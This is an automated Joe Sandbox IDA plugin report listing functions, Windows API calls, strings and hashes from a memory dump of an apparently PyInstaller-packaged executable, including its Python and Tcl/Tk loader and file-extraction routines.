Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: FileFind$DirectoryRemove$CloseDeleteFirstNext
String ID: %s\*
API String ID: 1057558799-766152087
Opcode ID: 37c75c647de740c4d03e434983ba542f23ef98c0d39288f6f50529afbb256bed
Instruction ID: 135ee184f5db4f079a8e8967783671618695dee313c272bd813e7931e680f166
Opcode Fuzzy Hash: 37c75c647de740c4d03e434983ba542f23ef98c0d39288f6f50529afbb256bed
Instruction Fuzzy Hash: 0A417321A0C562E5EA20FB24E5949BD6360FFA5764F440632D9ADC37D4DF3CE64AC780

Function 00007FF6404EC44C Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF6404EC468
RtlCaptureContext.KERNEL32 ref: 00007FF6404EC495
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6404EC4AF
RtlVirtualUnwind.KERNEL32 ref: 00007FF6404EC4F0
IsDebuggerPresent.KERNEL32 ref: 00007FF6404EC544
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6404EC561
UnhandledExceptionFilter.KERNEL32 ref: 00007FF6404EC56C

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 59201671b846c18328c4c6cdbad1e823a2b0fec8eaed916d44c3dc4e1cb48f19
Instruction ID: 3ec315774e2e966e507582b769b1e8d3e34b39d51ed6993d7d51d750dfd109b8
Opcode Fuzzy Hash: 59201671b846c18328c4c6cdbad1e823a2b0fec8eaed916d44c3dc4e1cb48f19
Instruction Fuzzy Hash: CC314C7661CB9296EB64EF60E8903EE7360FB85748F04443ADA4E87B99DF38D548C710

Function 00007FF640504F10 Relevance: 9.3, APIs: 6, Instructions: 334timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF640504F55

Part of subcall function 00007FF6405048A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6405048BC

Part of subcall function 00007FF6404F9C58: RtlFreeHeap.NTDLL(?,?,?,00007FF640502032,?,?,?,00007FF64050206F,?,?,00000000,00007FF640502535,?,?,?,00007FF640502467), ref: 00007FF6404F9C6E
Part of subcall function 00007FF6404F9C58: GetLastError.KERNEL32(?,?,?,00007FF640502032,?,?,?,00007FF64050206F,?,?,00000000,00007FF640502535,?,?,?,00007FF640502467), ref: 00007FF6404F9C78

Part of subcall function 00007FF6404F9C10: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF6404F9BEF,?,?,?,?,?,00007FF6404F9ADA), ref: 00007FF6404F9C19
Part of subcall function 00007FF6404F9C10: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF6404F9BEF,?,?,?,?,?,00007FF6404F9ADA), ref: 00007FF6404F9C3E

_get_daylight.LIBCMT ref: 00007FF640504F44

Part of subcall function 00007FF640504908: _invalid_parameter_noinfo.LIBCMT ref: 00007FF64050491C

_get_daylight.LIBCMT ref: 00007FF6405051BA
_get_daylight.LIBCMT ref: 00007FF6405051CB
_get_daylight.LIBCMT ref: 00007FF6405051DC
GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF64050541C), ref: 00007FF640505203

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureFreeHeapInformationLastPresentProcessProcessorTimeZone
String ID:
API String ID: 4070488512-0
Opcode ID: 1e88bcb5f495bb70dc88d60703a9f776145871d29d9eb43ad6078281b4d73a6f
Instruction ID: 7e4a4c9c830baa433aa96951ff4f0cbac14d7fc1549b2dded7bfed066c782698
Opcode Fuzzy Hash: 1e88bcb5f495bb70dc88d60703a9f776145871d29d9eb43ad6078281b4d73a6f
Instruction Fuzzy Hash: E3D1C176E1C262A6E728FF21D6502BE6391EF46788F448035EA6D87786DF3CE841C740

Function 00007FF6404F9924 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF6404F999D
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6404F99B5
RtlVirtualUnwind.KERNEL32 ref: 00007FF6404F99F0
IsDebuggerPresent.KERNEL32 ref: 00007FF6404F9A29
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6404F9A33
UnhandledExceptionFilter.KERNEL32 ref: 00007FF6404F9A3E

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: f336cc4ee628281f12481126c86b188c106f14650002c00baa1860decbda2c10
Instruction ID: 3891df918236542e21a933cb94d5bbda2276a66832b62c853e2cb9478c37822d
Opcode Fuzzy Hash: f336cc4ee628281f12481126c86b188c106f14650002c00baa1860decbda2c10
Instruction Fuzzy Hash: 7231B43661CF9295EB64EF25E8802AE33A4FB89758F540135EA9D83B98DF3CC545CB00

Function 00007FF640500B84 Relevance: 7.8, APIs: 5, Instructions: 282COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF640500BD0
FindFirstFileExW.KERNEL32 ref: 00007FF640500CDA

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: FileFindFirst_invalid_parameter_noinfo
String ID:
API String ID: 2227656907-0
Opcode ID: 88c6eeb3815b689bec9e785de6a4435637107cd6a4a104e99c849aa3a7604df1
Instruction ID: 37b713b53cc68f08942d79398f14ce3f1865504be49422b01fcfef59d1de5146
Opcode Fuzzy Hash: 88c6eeb3815b689bec9e785de6a4435637107cd6a4a104e99c849aa3a7604df1
Instruction Fuzzy Hash: 7BB1D522B1C6A291EA68BB61D6101BD6395FB46BECF446131EE6D97BC5DF3CE841C300

Function 00007FF64050518C Relevance: 6.1, APIs: 4, Instructions: 143timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF6405051BA

Part of subcall function 00007FF640504908: _invalid_parameter_noinfo.LIBCMT ref: 00007FF64050491C

_get_daylight.LIBCMT ref: 00007FF6405051CB

Part of subcall function 00007FF6405048A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6405048BC

_get_daylight.LIBCMT ref: 00007FF6405051DC

Part of subcall function 00007FF6405048D8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6405048EC

Part of subcall function 00007FF6404F9C58: RtlFreeHeap.NTDLL(?,?,?,00007FF640502032,?,?,?,00007FF64050206F,?,?,00000000,00007FF640502535,?,?,?,00007FF640502467), ref: 00007FF6404F9C6E
Part of subcall function 00007FF6404F9C58: GetLastError.KERNEL32(?,?,?,00007FF640502032,?,?,?,00007FF64050206F,?,?,00000000,00007FF640502535,?,?,?,00007FF640502467), ref: 00007FF6404F9C78

GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF64050541C), ref: 00007FF640505203

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 3458911817-0
Opcode ID: c5508bc63ced89b7e96ce891f343e42cb1356f84bc391250f2f4d752248c7e40
Instruction ID: b58667a0859c4565491414ec19ff1220c40c75b2265e47e50320d6277c7c88b0
Opcode Fuzzy Hash: c5508bc63ced89b7e96ce891f343e42cb1356f84bc391250f2f4d752248c7e40
Instruction Fuzzy Hash: 8F51A336A0C662A6E718FF21DA811AD6760FF4A788F444539EA2DC7796DF3CE440CB40

Function 00007FF6404E50B0 Relevance: 157.9, APIs: 44, Strings: 46, Instructions: 364libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,00007FF6404E5C57,?,00007FF6404E308E), ref: 00007FF6404E50C0
GetProcAddress.KERNEL32(?,00007FF6404E5C57,?,00007FF6404E308E), ref: 00007FF6404E5101
GetProcAddress.KERNEL32(?,00007FF6404E5C57,?,00007FF6404E308E), ref: 00007FF6404E5126
GetProcAddress.KERNEL32(?,00007FF6404E5C57,?,00007FF6404E308E), ref: 00007FF6404E514B
GetProcAddress.KERNEL32(?,00007FF6404E5C57,?,00007FF6404E308E), ref: 00007FF6404E5173
GetProcAddress.KERNEL32(?,00007FF6404E5C57,?,00007FF6404E308E), ref: 00007FF6404E519B
GetProcAddress.KERNEL32(?,00007FF6404E5C57,?,00007FF6404E308E), ref: 00007FF6404E51C3
GetProcAddress.KERNEL32(?,00007FF6404E5C57,?,00007FF6404E308E), ref: 00007FF6404E51EB
GetProcAddress.KERNEL32(?,00007FF6404E5C57,?,00007FF6404E308E), ref: 00007FF6404E5213

Strings

PyImport_ImportModule, xrefs: 00007FF6404E5439, 00007FF6404E5455
PyUnicode_FromFormat, xrefs: 00007FF6404E5709, 00007FF6404E5725
PyConfig_InitIsolatedConfig, xrefs: 00007FF6404E5209, 00007FF6404E5225
PyMarshal_ReadObjectFromString, xrefs: 00007FF6404E5489, 00007FF6404E54A5
PyObject_SetAttrString, xrefs: 00007FF6404E5579, 00007FF6404E5595
PySys_SetObject, xrefs: 00007FF6404E5669, 00007FF6404E5685
Failed to get address for %hs, xrefs: 00007FF6404E50D9
PySys_GetObject, xrefs: 00007FF6404E5641, 00007FF6404E565D
PyConfig_SetWideStringList, xrefs: 00007FF6404E52A9, 00007FF6404E52C5
PyErr_Print, xrefs: 00007FF6404E5371, 00007FF6404E538D
PyErr_Occurred, xrefs: 00007FF6404E5349, 00007FF6404E5365
PyUnicode_AsUTF8, xrefs: 00007FF6404E5691, 00007FF6404E56AD
PyUnicode_FromString, xrefs: 00007FF6404E5731, 00007FF6404E574D
Py_Finalize, xrefs: 00007FF6404E5141, 00007FF6404E515D
PyConfig_Clear, xrefs: 00007FF6404E51E1, 00007FF6404E51FD
PyObject_CallFunctionObjArgs, xrefs: 00007FF6404E5529, 00007FF6404E5545
PyObject_GetAttrString, xrefs: 00007FF6404E5551, 00007FF6404E556D
PyUnicode_Join, xrefs: 00007FF6404E5759, 00007FF6404E5775
Py_DecodeLocale, xrefs: 00007FF6404E50F7, 00007FF6404E5113
PyMem_RawFree, xrefs: 00007FF6404E54B1, 00007FF6404E54CD
PyConfig_Read, xrefs: 00007FF6404E5231, 00007FF6404E524D
PyStatus_Exception, xrefs: 00007FF6404E5619, 00007FF6404E5635
PyModule_GetDict, xrefs: 00007FF6404E54D9, 00007FF6404E54F5
PyImport_ExecCodeModule, xrefs: 00007FF6404E5411, 00007FF6404E542D
PyErr_Restore, xrefs: 00007FF6404E5399, 00007FF6404E53B5
PyImport_AddModule, xrefs: 00007FF6404E53E9, 00007FF6404E5405
PyErr_Fetch, xrefs: 00007FF6404E52F9, 00007FF6404E5315
GetProcAddress, xrefs: 00007FF6404E50E0
PyErr_NormalizeException, xrefs: 00007FF6404E5321, 00007FF6404E533D
PyPreConfig_InitIsolatedConfig, xrefs: 00007FF6404E55C9, 00007FF6404E55E5
PyObject_Str, xrefs: 00007FF6404E55A1, 00007FF6404E55BD
PyObject_CallFunction, xrefs: 00007FF6404E5501, 00007FF6404E551D
PyUnicode_Decode, xrefs: 00007FF6404E56B9, 00007FF6404E56D5
PyConfig_SetBytesString, xrefs: 00007FF6404E5259, 00007FF6404E5275
PyUnicode_DecodeFSDefault, xrefs: 00007FF6404E56E1, 00007FF6404E56FD
PyErr_Clear, xrefs: 00007FF6404E52D1, 00007FF6404E52ED
Py_IsInitialized, xrefs: 00007FF6404E5191, 00007FF6404E51AD
PyEval_EvalCode, xrefs: 00007FF6404E53C1, 00007FF6404E53DD
Py_ExitStatusException, xrefs: 00007FF6404E511C, 00007FF6404E5138
PyConfig_SetString, xrefs: 00007FF6404E5281, 00007FF6404E529D
Py_DecRef, xrefs: 00007FF6404E50B6, 00007FF6404E50D2
Py_InitializeFromConfig, xrefs: 00007FF6404E5169, 00007FF6404E5185
PyUnicode_Replace, xrefs: 00007FF6404E5781, 00007FF6404E579D
Py_PreInitialize, xrefs: 00007FF6404E51B9, 00007FF6404E51D5
PyRun_SimpleStringFlags, xrefs: 00007FF6404E55F1, 00007FF6404E560D
PyList_Append, xrefs: 00007FF6404E5461, 00007FF6404E547D

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: AddressProc
String ID: Failed to get address for %hs$GetProcAddress$PyConfig_Clear$PyConfig_InitIsolatedConfig$PyConfig_Read$PyConfig_SetBytesString$PyConfig_SetString$PyConfig_SetWideStringList$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyList_Append$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyPreConfig_InitIsolatedConfig$PyRun_SimpleStringFlags$PyStatus_Exception$PySys_GetObject$PySys_SetObject$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_DecRef$Py_DecodeLocale$Py_ExitStatusException$Py_Finalize$Py_InitializeFromConfig$Py_IsInitialized$Py_PreInitialize
API String ID: 190572456-2007157414
Opcode ID: 3c804ccaf4812c993b4970aca99c844c8aa25bcf6244ab31ff714926eb913965
Instruction ID: 749e0cb1e1f514267acb106d647e8661d968cbb92c6662e071f59433196bb520
Opcode Fuzzy Hash: 3c804ccaf4812c993b4970aca99c844c8aa25bcf6244ab31ff714926eb913965
Instruction Fuzzy Hash: 28129B6491EF23F1FA5DFB04AA542B827B0EF06758F945435D82E923A0EF7CB5488781

Function 00007FF6404E6EA0 Relevance: 119.3, APIs: 33, Strings: 35, Instructions: 280libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF6404E6EB7
GetProcAddress.KERNEL32 ref: 00007FF6404E6EFD
GetProcAddress.KERNEL32 ref: 00007FF6404E6F22
GetProcAddress.KERNEL32 ref: 00007FF6404E6F47
GetProcAddress.KERNEL32 ref: 00007FF6404E6F6F
GetProcAddress.KERNEL32 ref: 00007FF6404E6F97
GetProcAddress.KERNEL32 ref: 00007FF6404E6FBF
GetProcAddress.KERNEL32 ref: 00007FF6404E6FE7
GetProcAddress.KERNEL32 ref: 00007FF6404E700F

Strings

Tcl_Free, xrefs: 00007FF6404E7375, 00007FF6404E7391
Tcl_EvalFile, xrefs: 00007FF6404E72D5, 00007FF6404E72F1
Tcl_DeleteInterp, xrefs: 00007FF6404E6FB5, 00007FF6404E6FD1
Tcl_GetObjResult, xrefs: 00007FF6404E72AD, 00007FF6404E72C9
Failed to get address for %hs, xrefs: 00007FF6404E6ED0
Tcl_ConditionFinalize, xrefs: 00007FF6404E70CD, 00007FF6404E70E9
Tcl_ThreadAlert, xrefs: 00007FF6404E716D, 00007FF6404E7189
Tcl_SetVar2, xrefs: 00007FF6404E71BD, 00007FF6404E71D9
Tk_Init, xrefs: 00007FF6404E739D, 00007FF6404E73B9
Tcl_FindExecutable, xrefs: 00007FF6404E6F18, 00007FF6404E6F34
Tcl_NewStringObj, xrefs: 00007FF6404E7235, 00007FF6404E7251
Tcl_CreateThread, xrefs: 00007FF6404E6FDD, 00007FF6404E6FF9
Tcl_ConditionNotify, xrefs: 00007FF6404E70F5, 00007FF6404E7111
Tcl_GetString, xrefs: 00007FF6404E720D, 00007FF6404E7229
Tcl_Init, xrefs: 00007FF6404E6EB0, 00007FF6404E6EC9
Tcl_DoOneEvent, xrefs: 00007FF6404E6F3D, 00007FF6404E6F59
Tcl_FinalizeThread, xrefs: 00007FF6404E6F8D, 00007FF6404E6FA9
Tcl_MutexFinalize, xrefs: 00007FF6404E70A5, 00007FF6404E70C1
GetProcAddress, xrefs: 00007FF6404E6ED7
Tcl_JoinThread, xrefs: 00007FF6404E702D, 00007FF6404E7049
Tcl_ConditionWait, xrefs: 00007FF6404E711D, 00007FF6404E7139
Tcl_MutexLock, xrefs: 00007FF6404E7055, 00007FF6404E7071
Tcl_NewByteArrayObj, xrefs: 00007FF6404E725D, 00007FF6404E7279
Tk_GetNumMainWindows, xrefs: 00007FF6404E73C5, 00007FF6404E73E1
Tcl_GetCurrentThread, xrefs: 00007FF6404E7005, 00007FF6404E7021
Tcl_Alloc, xrefs: 00007FF6404E734D, 00007FF6404E7369
Tcl_ThreadQueueEvent, xrefs: 00007FF6404E7145, 00007FF6404E7161
Tcl_EvalEx, xrefs: 00007FF6404E72FD, 00007FF6404E7319
Tcl_MutexUnlock, xrefs: 00007FF6404E707D, 00007FF6404E7099
Tcl_CreateInterp, xrefs: 00007FF6404E6EF3, 00007FF6404E6F0F
Tcl_GetVar2, xrefs: 00007FF6404E7195, 00007FF6404E71B1
Tcl_CreateObjCommand, xrefs: 00007FF6404E71E5, 00007FF6404E7201
Tcl_Finalize, xrefs: 00007FF6404E6F65, 00007FF6404E6F81
Tcl_EvalObjv, xrefs: 00007FF6404E7325, 00007FF6404E7341
Tcl_SetVar2Ex, xrefs: 00007FF6404E7285, 00007FF6404E72A1

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: AddressProc
String ID: Failed to get address for %hs$GetProcAddress$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_JoinThread$Tcl_MutexFinalize$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
API String ID: 190572456-3427451314
Opcode ID: ea7dfca1e90abb6d4d8c6eb1b798acaf406610e772db9aaa2d8df727af0780f5
Instruction ID: abbbf6ab425959a4ee5db86c0e07891b53cc1cfff00ffca5121d5a0f11402665
Opcode Fuzzy Hash: ea7dfca1e90abb6d4d8c6eb1b798acaf406610e772db9aaa2d8df727af0780f5
Instruction Fuzzy Hash: 5DE1766890DB63F0FA5DFB14BA541B833A5EF1A798F845435C82E823A4EF3CA548C351

Function 00007FF6404E15C0 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 137COMMON

Download Yara Rule

Strings

Failed to extract %s: failed to read data chunk!, xrefs: 00007FF6404E1785
fseek, xrefs: 00007FF6404E1695
Failed to extract %s: failed to allocate temporary buffer!, xrefs: 00007FF6404E16EF
Failed to extract %s: failed to write data chunk!, xrefs: 00007FF6404E1775
Failed to extract %s: failed to open target file!, xrefs: 00007FF6404E1617
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF6404E168E
fwrite, xrefs: 00007FF6404E177C
fopen, xrefs: 00007FF6404E161E
Failed to extract %s: failed to open archive file!, xrefs: 00007FF6404E165B
fread, xrefs: 00007FF6404E178C
Failed to create symbolic link %s!, xrefs: 00007FF6404E15E2
malloc, xrefs: 00007FF6404E16F6

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: Message
String ID: Failed to create symbolic link %s!$Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc
API String ID: 2030045667-1550345328
Opcode ID: a6afda6375053f9f7c6ea0d4aafbd39b87900b6fab8cbbe9d26c6b4613d1e6e7
Instruction ID: dfd4575e4f547f119721587526c5d570a059d85c798b5f96c23ea6539c55306f
Opcode Fuzzy Hash: a6afda6375053f9f7c6ea0d4aafbd39b87900b6fab8cbbe9d26c6b4613d1e6e7
Instruction Fuzzy Hash: AC51AD61B0C663F2EA14FB25AA405B923A1FF85B98F444131EE1D87BA5EF7CE5548380

Function 00007FF6404E77D0 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 115COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6404E86B0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF6404E3FA4,00000000,00007FF6404E1925), ref: 00007FF6404E86E9

ExpandEnvironmentStringsW.KERNEL32(?,00007FF6404E7C97,?,?,FFFFFFFF,00007FF6404E3834), ref: 00007FF6404E782C

Part of subcall function 00007FF6404E26C0: MessageBoxW.USER32 ref: 00007FF6404E2736

Strings

LOADER: failed to create runtime-tmpdir path %ls!, xrefs: 00007FF6404E796D
CreateDirectory, xrefs: 00007FF6404E7974
LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!, xrefs: 00007FF6404E789D
LOADER: failed to convert runtime-tmpdir to a wide string., xrefs: 00007FF6404E7803
\, xrefs: 00007FF6404E7861
LOADER: failed to obtain the absolute path of the runtime-tmpdir., xrefs: 00007FF6404E78D9
%.*s, xrefs: 00007FF6404E790C
LOADER: failed to expand environment variables in the runtime-tmpdir., xrefs: 00007FF6404E7840

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
String ID: %.*s$CreateDirectory$LOADER: failed to convert runtime-tmpdir to a wide string.$LOADER: failed to create runtime-tmpdir path %ls!$LOADER: failed to expand environment variables in the runtime-tmpdir.$LOADER: failed to obtain the absolute path of the runtime-tmpdir.$LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!$\
API String ID: 1662231829-930877121
Opcode ID: c3532161b1b2b7c53ec0a0b3f79f5e94743c67efbab5da7731ebfcd00691680a
Instruction ID: 506f906f73d081f3596a968a9d7fb226fe389954db74e8cd44959733c381078a
Opcode Fuzzy Hash: c3532161b1b2b7c53ec0a0b3f79f5e94743c67efbab5da7731ebfcd00691680a
Instruction Fuzzy Hash: BA41F421B2C663F0FB64FB24E955ABA6261FFA4794F404031DA5EC2796EF7CE1048780

Function 00007FF6404E20F0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF6404E211B
SelectObject.GDI32 ref: 00007FF6404E2162
